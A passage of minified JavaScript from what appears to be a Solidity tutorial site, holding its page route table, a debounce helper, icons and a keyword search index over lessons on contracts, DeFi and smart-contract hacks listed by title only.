here"})]}),r.jsxs("div",{className:as.cryptoJobsList,children:[r.jsx(aB,{size:24,className:as.cryptoJobsListLogo}),r.jsx("a",{href:Ig,target:"__blank",children:"Looking for Solidity jobs?"})]}),r.jsx("div",{className:as.updates,children:sY.map((I,d)=>r.jsx("div",{children:I},d))}),r.jsx("div",{className:as.search,children:r.jsx(sB,{value:s,onChange:o})}),i()]})]})}const nY=[{path:"/abi-decode",component:DC},{path:"/abi-encode",component:LC},{path:"/app/assembly-bin-exp",component:aj},{path:"/app/bi-directional-payment-channel",component:tj},{path:"/app/create2",component:Ij},{path:"/app/crowd-fund",component:yj},{path:"/app/deploy-any-contract",component:Wj},{path:"/app/dutch-auction",component:Rj},{path:"/app/english-auction",component:Kj},{path:"/app/erc1155",component:Dj},{path:"/app/erc20",component:Lj},{path:"/app/erc721",component:au},{path:"/app/ether-wallet",component:tu},{path:"/app/gasless-token-transfer",component:Iu},{path:"/app/iterable-mapping",component:yu},{path:"/app/merkle-tree",component:Wu},{path:"/app/minimal-proxy",component:Ru},{path:"/app/multi-call",component:Ku},{path:"/app/multi-delegatecall",component:Du},{path:"/app/multi-sig-wallet",component:Lu},{path:"/app/simple-bytecode-contract",component:aA},{path:"/app/time-lock",component:tA},{path:"/app/uni-directional-payment-channel",component:IA},{path:"/app/upgradeable-proxy",component:yA},{path:"/app/write-to-any-slot",component:WA},{path:"/array",component:RA},{path:"/assembly-error",component:KA},{path:"/assembly-if",component:DA},{path:"/assembly-loop",component:LA},{path:"/assembly-math",component:ay},{path:"/assembly-variable",component:ty},{path:"/bitwise",component:Iy},{path:"/call",component:yy},{path:"/calling-contract",component:Wy},{path:"/constants",component:Ry},{path:"/constructor",component:Ky},{path:"/data-locations",component:Dy},{path:"/defi/chainlink-price-oracle",component:Ly},{path:"/defi/constant-product-amm",component:am},{path:"/defi/constant-sum-amm",component:tm},{path:"/defi/dai-proxy",component:Im},{path:"/defi/discrete-staking-rewards",component:ym},{path:"/defi/stable-swap-amm",component:Wm},{path:"/defi/staking-rewards",component:Rm},{path:"/defi/uniswap-v2",component:Km},{path:"/defi/uniswap-v2-add-remove-liquidity",component:Dm},{path:"/defi/uniswap-v2-flash-swap",component:Lm},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:ab},{path:"/defi/uniswap-v3-flash",component:tb},{path:"/defi/uniswap-v3-flash-swap",component:Ib},{path:"/defi/uniswap-v3-liquidity",component:yb},{path:"/defi/uniswap-v3-swap",component:Wb},{path:"/defi/vault",component:Rb},{path:"/delegatecall",component:Kb},{path:"/enum",component:Db},{path:"/error",component:Lb},{path:"/ether-units",component:aw},{path:"/events",component:tw},{path:"/evm/memory",component:Iw},{path:"/evm/storage",component:yw},{path:"/fallback",component:Ww},{path:"/first-app",component:Rw},{path:"/function",component:Kw},{path:"/function-modifier",component:Dw},{path:"/function-selector",component:Lw},{path:"/gas",component:ak},{path:"/gas-golf",component:tk},{path:"/hacks/accessing-private-data",component:Ik},{path:"/hacks/block-timestamp-manipulation",component:yk},{path:"/hacks/contract-size",component:Wk},{path:"/hacks/delegatecall",component:Rk},{path:"/hacks/denial-of-service",component:Kk},{path:"/hacks/deploy-different-contracts-same-address",component:Dk},{path:"/hacks/front-running",component:Lk},{path:"/hacks/hiding-malicious-code-with-external-contract",component:a0},{path:"/hacks/honeypot",component:t0},{path:"/hacks/overflow",component:I0},{path:"/hacks/phishing-with-tx-origin",component:y0},{path:"/hacks/randomness",component:W0},{path:"/hacks/re-entrancy",component:R0},{path:"/hacks/self-destruct",component:K0},{path:"/hacks/signature-replay",component:D0},{path:"/hacks/vault-inflation",component:L0},{path:"/hacks/weth-permit",component:aZ},{path:"/hashing",component:tZ},{path:"/hello-world",component:IZ},{path:"/if-else",component:yZ},{path:"/immutable",component:WZ},{path:"/import",component:RZ},{path:"/inheritance",component:KZ},{path:"/interface",component:DZ},{path:"/library",component:LZ},{path:"/loop",component:aW},{path:"/mapping",component:tW},{path:"/new-contract",component:IW},{path:"/payable",component:yW},{path:"/primitives",component:WW},{path:"/sending-ether",component:RW},{path:"/shadowing-inherited-state-variables",component:KW},{path:"/signature",component:DW},{path:"/state-variables",component:LW},{path:"/structs",component:a2},{path:"/super",component:t2},{path:"/tests/echidna",component:I2},{path:"/transient-storage",component:y2},{path:"/try-catch",component:W2},{path:"/unchecked-math",component:R2},{path:"/variables",component:K2},{path:"/view-and-pure-functions",component:D2},{path:"/visibility",component:L2},{path:"",component:aY}];function Ho(){const{state:s,init:a}=et();return W.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?r.jsx(Sd,{basename:"",children:r.jsx(RC,{children:r.jsx(Fd,{children:nY.map(n=>{const{prev:l,next:p}=pC(n.path);return r.jsx(hg,{path:n.path,element:Uo.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const lY=document.getElementById("root"),pY=qi(lY),Fo=document.getElementById("root");Fo.hasChildNodes()?$i(Fo,r.jsx(bo,{children:r.jsx(Ho,{})})):pY.render(r.jsx(bo,{children:r.jsx(Ho,{})})); +`,L2=({prev:s,next:a})=>r.jsx(A,{version:E2,title:Q2,description:T2,html:_2,prev:s,next:a,codes:U2}),O2=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),P2="_component_efeb7_1",$2="_icon_efeb7_8",q2="_input_efeb7_12",Ie={component:P2,icon:$2,input:q2},sB=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return r.jsxs("div",{className:Ie.component,children:[r.jsx(O2,{size:18,className:Ie.icon}),r.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})},aB=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 113 113",xmlSpace:"preserve",width:s,height:s,className:a,children:[r.jsx("circle",{cx:56.5,cy:56.5,r:56.5,fill:"#453dff",stroke:"none"}),r.jsx("path",{fill:"#fff",stroke:"none",d:"M68.476 46.383c.454.796 1.36 1.82 2.155 1.82 4.31.227 8.62.113 13.157.113-.567-3.98-2.042-7.392-4.31-10.462-1.361-1.706-1.701-2.957-.34-4.89 1.36-1.82 2.381-4.094 3.63-6.255-3.97-2.274-7.827-4.435-11.797-6.709-1.36 2.274-2.609 4.321-3.743 6.482-.68 1.365-1.36 1.706-2.949 1.478-3.63-.455-7.259-.91-10.888-.682-10.889.682-19.85 7.96-22.798 18.423-3.29 11.94-1.702 22.97 6.805 32.523-1.588 2.843-3.29 5.8-4.99 8.87 4.083 2.275 7.826 4.55 11.795 6.824 1.588-2.73 3.063-5.231 4.424-7.733.68-1.251 1.588-1.365 2.949-1.479 4.65 0 9.3.228 13.724-.682 9.3-1.82 17.354-10.803 18.375-20.128-4.084 0-7.94.113-11.91 0-1.588 0-2.609.455-3.403 1.933-4.537 7.62-15.312 8.87-21.21 2.502-5.557-5.914-5.557-18.764.114-24.677 6.011-6.141 16.56-4.777 21.21 2.729z"})]});var nB="Expected a function",Yo=NaN,lB="[object Symbol]",pB=/^\s+|\s+$/g,eB=/^[-+]0x[0-9a-f]+$/i,cB=/^0b[01]+$/i,tB=/^0o[0-7]+$/i,oB=parseInt,rB=typeof Il=="object"&&Il&&Il.Object===Object&&Il,iB=typeof self=="object"&&self&&self.Object===Object&&self,gB=rB||iB||Function("return this")(),hB=Object.prototype,IB=hB.toString,dB=Math.max,CB=Math.min,de=function(){return gB.Date.now()};function jB(s,a,n){var l,p,e,c,t,o,i=0,I=!1,d=!1,j=!0;if(typeof s!="function")throw new TypeError(nB);a=Ro(a)||0,ic(n)&&(I=!!n.leading,d="maxWait"in n,e=d?dB(Ro(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function u(k){var G=l,Y=p;return l=p=void 0,i=k,c=s.apply(Y,G),c}function m(k){return i=k,t=setTimeout(h,a),I?u(k):c}function b(k){var G=k-o,Y=k-i,x=a-G;return d?CB(x,e-Y):x}function Z(k){var G=k-o,Y=k-i;return o===void 0||G>=a||G<0||d&&Y>=e}function h(){var k=de();if(Z(k))return g(k);t=setTimeout(h,b(k))}function g(k){return t=void 0,j&&l?u(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),i=0,l=o=p=t=void 0}function y(){return t===void 0?c:g(de())}function W(){var k=de(),G=Z(k);if(l=arguments,p=this,o=k,G){if(t===void 0)return m(o);if(d)return t=setTimeout(h,a),u(o)}return t===void 0&&(t=setTimeout(h,a)),c}return W.cancel=C,W.flush=y,W}function ic(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function AB(s){return!!s&&typeof s=="object"}function uB(s){return typeof s=="symbol"||AB(s)&&IB.call(s)==lB}function Ro(s){if(typeof s=="number")return s;if(uB(s))return Yo;if(ic(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=ic(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(pB,"");var n=cB.test(s);return n||tB.test(s)?oB(s.slice(2),n?2:8):eB.test(s)?Yo:+s}var yB=jB;const mB=Fo(yB),bB={leading:!1,trailing:!0};function wB(s,a,n){return B.useCallback(mB(s,a,bB),n)}function kB(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let i=0;ia+p)}const BB=["/visibility"],GB=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],VB=["/visibility"],fB=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],YB=["/view-and-pure-functions"],RB=["/view-and-pure-functions"],XB=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/evm/storage","/ether-units","/enum","/constants","/assembly-variable","/array"],vB=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],NB=["/variables"],HB=["/variables"],FB=["/variables","/state-variables","/shadowing-inherited-state-variables","/evm/storage"],KB=["/variables","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/evm/storage","/evm/memory","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],MB=["/unchecked-math","/gas-golf","/gas"],SB=["/unchecked-math"],xB=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],JB=["/unchecked-math","/hacks/overflow"],zB=["/unchecked-math","/hacks/overflow"],DB=["/try-catch","/error","/assembly-error"],EB=["/try-catch","/error"],QB=["/transient-storage"],TB=["/transient-storage","/hacks/accessing-private-data","/evm/storage","/data-locations","/app/write-to-any-slot"],UB=["/tests/echidna"],_B=["/tests/echidna"],LB=["/super","/calling-contract"],OB=["/super"],PB=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],$B=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],qB=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],sG=["/structs"],aG=["/structs"],nG=["/structs","/primitives"],lG=["/structs","/primitives"],pG=["/state-variables"],eG=["/state-variables"],cG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],tG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],oG=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],rG=["/signature"],iG=["/signature"],gG=["/signature","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],hG=["/signature"],IG=["/signature"],dG=["/shadowing-inherited-state-variables"],CG=["/shadowing-inherited-state-variables"],jG=["/sending-ether"],AG=["/sending-ether","/sending-ether","/payable","/fallback"],uG=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],yG=["/sending-ether","/payable","/fallback","/app/ether-wallet"],mG=["/sending-ether","/fallback","/app/gasless-token-transfer"],bG=["/sending-ether","/delegatecall","/calling-contract","/call","/app/multi-call"],wG=["/sending-ether","/fallback"],kG=["/sending-ether","/fallback"],ZG=["/sending-ether","/payable","/fallback"],WG=["/primitives"],BG=["/primitives"],GG=["/primitives"],VG=["/primitives"],fG=["/primitives"],YG=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],RG=["/primitives"],XG=["/primitives"],vG=["/new-contract","/hacks/deploy-different-contracts-same-address"],NG=["/new-contract"],HG=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],FG=["/new-contract","/hacks/deploy-different-contracts-same-address"],KG=["/mapping","/app/iterable-mapping"],MG=["/loop","/assembly-loop"],SG=["/loop"],xG=["/library"],JG=["/interface"],zG=["/inheritance"],DG=["/inheritance"],EG=["/inheritance"],QG=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],TG=["/immutable","/constants"],UG=["/immutable"],_G=["/immutable"],LG=["/if-else"],OG=["/if-else"],PG=["/if-else"],$G=["/hello-world"],qG=["/hello-world"],sV=["/hashing"],aV=["/hashing"],nV=["/hashing"],lV=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],pV=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],eV=["/hacks/weth-permit"],cV=["/hacks/weth-permit","/app/gasless-token-transfer"],tV=["/hacks/vault-inflation"],oV=["/hacks/vault-inflation"],rV=["/hacks/vault-inflation","/defi/vault"],iV=["/hacks/signature-replay"],gV=["/hacks/self-destruct"],hV=["/hacks/randomness"],IV=["/hacks/randomness"],dV=["/hacks/randomness"],CV=["/hacks/randomness"],jV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],AV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],uV=["/hacks/phishing-with-tx-origin"],yV=["/hacks/overflow"],mV=["/hacks/honeypot"],bV=["/hacks/hiding-malicious-code-with-external-contract"],wV=["/hacks/hiding-malicious-code-with-external-contract"],kV=["/hacks/hiding-malicious-code-with-external-contract"],ZV=["/hacks/hiding-malicious-code-with-external-contract"],WV=["/hacks/front-running"],BV=["/hacks/front-running"],GV=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],VV=["/hacks/deploy-different-contracts-same-address"],fV=["/hacks/deploy-different-contracts-same-address"],YV=["/hacks/denial-of-service"],RV=["/hacks/denial-of-service"],XV=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],vV=["/hacks/contract-size"],NV=["/hacks/contract-size"],HV=["/hacks/contract-size"],FV=["/hacks/contract-size"],KV=["/hacks/block-timestamp-manipulation"],MV=["/hacks/accessing-private-data"],SV=["/hacks/accessing-private-data"],xV=["/gas-golf"],JV=["/function-selector"],zV=["/function-selector"],DV=["/function-modifier"],EV=["/function-modifier"],QV=["/function-modifier"],TV=["/first-app"],UV=["/first-app"],_V=["/evm/storage","/evm/memory"],LV=["/evm/storage","/evm/memory","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],OV=["/evm/storage","/evm/memory","/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],PV=["/evm/memory","/data-locations"],$V=["/events"],qV=["/events"],sf=["/ether-units"],af=["/ether-units"],nf=["/error"],lf=["/error","/assembly-error"],pf=["/error"],ef=["/enum"],cf=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],tf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],of=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],rf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],gf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],hf=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],If=["/defi/uniswap-v3-flash-swap"],df=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],Cf=["/defi/uniswap-v3-flash"],jf=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],Af=["/defi/uniswap-v2-optimal-one-sided-supply"],uf=["/defi/uniswap-v2-optimal-one-sided-supply"],yf=["/defi/uniswap-v2-optimal-one-sided-supply"],mf=["/defi/uniswap-v2-optimal-one-sided-supply"],bf=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],wf=["/defi/uniswap-v2-add-remove-liquidity"],kf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Zf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Wf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Bf=["/defi/stable-swap-amm"],Gf=["/defi/stable-swap-amm"],Vf=["/defi/discrete-staking-rewards"],ff=["/defi/dai-proxy"],Yf=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],Rf=["/defi/constant-sum-amm"],Xf=["/defi/constant-product-amm"],vf=["/defi/chainlink-price-oracle"],Nf=["/defi/chainlink-price-oracle"],Hf=["/defi/chainlink-price-oracle"],Ff=["/defi/chainlink-price-oracle"],Kf=["/data-locations"],Mf=["/data-locations"],Sf=["/data-locations"],xf=["/constructor"],Jf=["/constructor"],zf=["/calling-contract"],Df=["/bitwise"],Ef=["/bitwise"],Qf=["/bitwise"],Tf=["/bitwise"],Uf=["/assembly-math"],_f=["/array"],Lf=["/array"],Of=["/app/write-to-any-slot"],Pf=["/app/write-to-any-slot","/app/deploy-any-contract"],$f=["/app/write-to-any-slot"],qf=["/app/upgradeable-proxy"],s1=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],a1=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],n1=["/app/time-lock"],l1=["/app/time-lock"],p1=["/app/simple-bytecode-contract"],e1=["/app/simple-bytecode-contract"],c1=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],t1=["/app/multi-sig-wallet"],o1=["/app/multi-sig-wallet","/app/ether-wallet"],r1=["/app/multi-call"],i1=["/app/minimal-proxy"],g1=["/app/merkle-tree"],h1=["/app/merkle-tree"],I1=["/app/iterable-mapping"],d1=["/app/gasless-token-transfer"],C1=["/app/gasless-token-transfer","/app/erc20"],j1=["/app/gasless-token-transfer"],A1=["/app/erc721"],u1=["/app/erc721"],y1=["/app/erc721","/app/erc1155"],m1=["/app/erc20"],b1=["/app/erc20"],w1=["/app/erc1155"],k1=["/app/erc1155"],Z1=["/app/english-auction"],W1=["/app/english-auction","/app/dutch-auction"],B1=["/app/english-auction","/app/dutch-auction"],G1=["/app/dutch-auction"],V1=["/app/crowd-fund"],f1=["/app/crowd-fund"],Y1=["/app/crowd-fund"],R1=["/app/create2"],X1=["/app/assembly-bin-exp"],v1=["/app/assembly-bin-exp"],N1=["/abi-encode","/abi-decode"],H1=["/abi-encode"],F1=["/abi-encode","/abi-decode"],K1=["/abi-encode"],M1=["/abi-encode"],S1=["/abi-encode"],x1=["/abi-decode"],Xo={visibility:BB,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:GB,internal:VB,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:fB,view:YB,pure:RB,variable:XB,variables:vB,local:NB,global:HB,state:FB,data:KB,gas:MB,unchecked:SB,math:xB,overflow:JB,underflow:zB,try:["/try-catch"],catch:["/try-catch"],error:DB,errors:EB,transient:QB,storage:TB,test:UB,echidna:_B,calling:LB,parent:OB,contract:PB,contracts:$B,inheritance:qB,super:["/super","/inheritance"],struct:sG,structs:aG,type:nG,types:lG,reading:pG,writing:eG,app:cG,application:tG,cryptography:oG,verify:rG,verifying:iG,signature:gG,signatures:hG,ecrecover:IG,shadow:dG,shadowing:CG,sending:jG,send:AG,ether:uG,eth:yG,transfer:mG,call:bG,fallback:wG,receive:kG,payable:ZG,primitive:WG,primitives:BG,boolean:GG,uint256:VG,int256:fG,address:YG,uint:RG,int:XG,new:["/new-contract","/new-contract"],create:vG,creates:NG,create2:HG,salt:FG,mapping:KG,for:["/loop","/assembly-loop"],loop:MG,loops:SG,while:["/loop","/assembly-loop"],do:["/loop"],library:xG,interface:["/interface"],interfaces:JG,override:zG,virtual:DG,is:EG,import:["/import","/enum"],constant:QG,constants:TG,immutable:UG,immutables:_G,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:LG,statement:OG,statements:PG,hello:$G,world:qG,hash:sV,hashing:aV,keccak256:nV,hack:lV,security:pV,weth:eV,permit:cV,inflation:tV,erc4626:oV,vault:rV,replay:iV,selfdestruct:gV,"re-entrancy":["/hacks/re-entrancy"],source:hV,random:IV,randomness:dV,blockhash:CV,block:jV,timestamp:AV,phishing:uV,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:yV,honeypot:mV,hide:bV,hiding:wV,malicious:kV,code:ZV,front:WV,running:BV,deploy:GV,different:VV,same:fV,denial:YV,service:RV,delegatecall:XV,bypass:vV,size:NV,check:HV,extcodesize:FV,manipulation:KV,access:MV,accessing:SV,golf:xV,selector:JV,selectors:zV,modifier:DV,modifiers:EV,_:QV,first:TV,counter:UV,evm:_V,yul:LV,assembly:OV,memory:PV,event:$V,events:qV,wei:sf,units:af,require:nf,revert:lf,assert:pf,enum:["/enum"],imports:ef,defi:cf,uniswap:tf,v3:of,swap:rf,amm:gf,liquidity:hf,arbitrage:If,flash:df,loan:Cf,v2:jf,optimal:Af,one:uf,sided:yf,supply:mf,add:bf,remove:wf,staking:kf,reward:Zf,rewards:Wf,curve:Bf,stable:Gf,discrete:Vf,dai:ff,proxy:Yf,sum:Rf,product:Xf,chainlink:vf,price:Nf,oracle:Hf,oracles:Ff,location:Kf,locations:Mf,calldata:Sf,constructor:xf,constructors:Jf,other:zf,bitwise:Df,most:Ef,significant:Qf,bit:Tf,mul:Uf,switch:["/assembly-if"],array:_f,arrays:Lf,write:Of,any:Pf,slot:$f,upgradeable:qf,"uni-directional":["/app/uni-directional-payment-channel"],payment:s1,channel:a1,time:n1,lock:l1,simple:p1,bytecode:e1,multi:c1,sig:t1,wallet:o1,staticcall:r1,minimal:i1,merkle:g1,tree:h1,iterable:I1,gasless:d1,token:C1,ERC20:j1,erc721:A1,ierc721:u1,nft:y1,erc20:m1,ierc20:b1,erc1155:w1,ierc1155:k1,english:Z1,auction:W1,auctions:B1,dutch:G1,crowd:V1,fund:f1,funding:Y1,precompute:R1,"bi-directional":["/app/bi-directional-payment-channel"],binary:X1,exponentiation:v1,abi:N1,encode:H1,bytes:F1,encodeWithSelector:K1,encodeWithSignature:M1,encodeCall:S1,decode:x1},vo={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/transient-storage":["transient","storage"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/weth-permit":["hack","security","weth","permit"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/evm/storage":["data","evm","storage","state","variable","yul","assembly"],"/evm/memory":["data","evm","memory","yul","assembly"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":[